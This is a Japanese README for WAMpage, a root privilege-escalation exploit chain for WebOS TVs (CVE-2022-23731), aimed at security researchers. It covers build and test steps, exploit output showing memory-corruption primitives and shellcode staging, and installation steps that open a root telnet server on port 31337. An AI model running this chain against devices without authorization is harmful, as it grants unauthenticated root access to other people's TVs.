
WAMpage - WebOS root LPE エクスプロイトチェーン (CVE-2022-23731)
WAMpage - WebOS用のroot LPEエクスプロイトチェイン (CVE-2022-23731)
このエクスプロイトは主に他の研究者にとって興味深いものです。単にテレビをroot化したいだけなら、おそらく RootMyTV が適切でしょう。これは信頼性の高い1クリック永続rootを提供します。
現在のところ、32ビットSoC上のWebOS 4.xのみをサポートしています。このソフトウェアは現状のまま提供され、使用は自己責任です。
解説: https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html

前提条件:
apt install qemu-user
npm install -g @webosose/ares-cli
コンパイル:
make
make test を実行すると、d8 内でエクスプロイトをビルドして実行し、qemu-arm で動作します。(d8のプリコンパイル済みバージョンとその依存関係は bin/ ディレクトリに含まれています)。エクスプロイトが正常に動作すると、おそらく次のような出力が得られます:
[+] Starting WAMpage...
[+] addrof(myobj) = 0x5a68f5d1
[+] Test: reconstructed myobj: {"foo":"bar"}
[+] Set up arbread32/arbwrite32.
[+] stage2 shellcode loaded @ 0xff458000
[+] myfunc @ 0x5a693369
[+] stage1 RWX buf @ 0x5bb8f280
[+] Copied stage1 shellcode. Calling...
Traceback (most recent call last):
File "<stdin>", line 25, in <module>
IOError: [Errno 13] Permission denied: '/dev/mem'
マシンが完全に誤設定されていない限り、権限エラーは想定内です。
devmemes.py エクスプロイトは、テレビ上で直接実行してテストできますが、最初からroot権限があるか、サンドボックス/ジェイルから解放された別のシェルが必要です。
ares-install を使用するか、手動でIPKをコピーして、devmodeシェルから以下を実行します:
luna-send-pub -i 'luna://com.webos.appInstallService/dev/install' '{"id":"tv.rootmy.wampage","ipkUrl":"/path/to/wampage.ipk","subscribe":true}'
アプリを起動し、「Start Exploit」ボタンを押します。全てがうまくいけば、ポート31337でtelnetサーバーが開きます。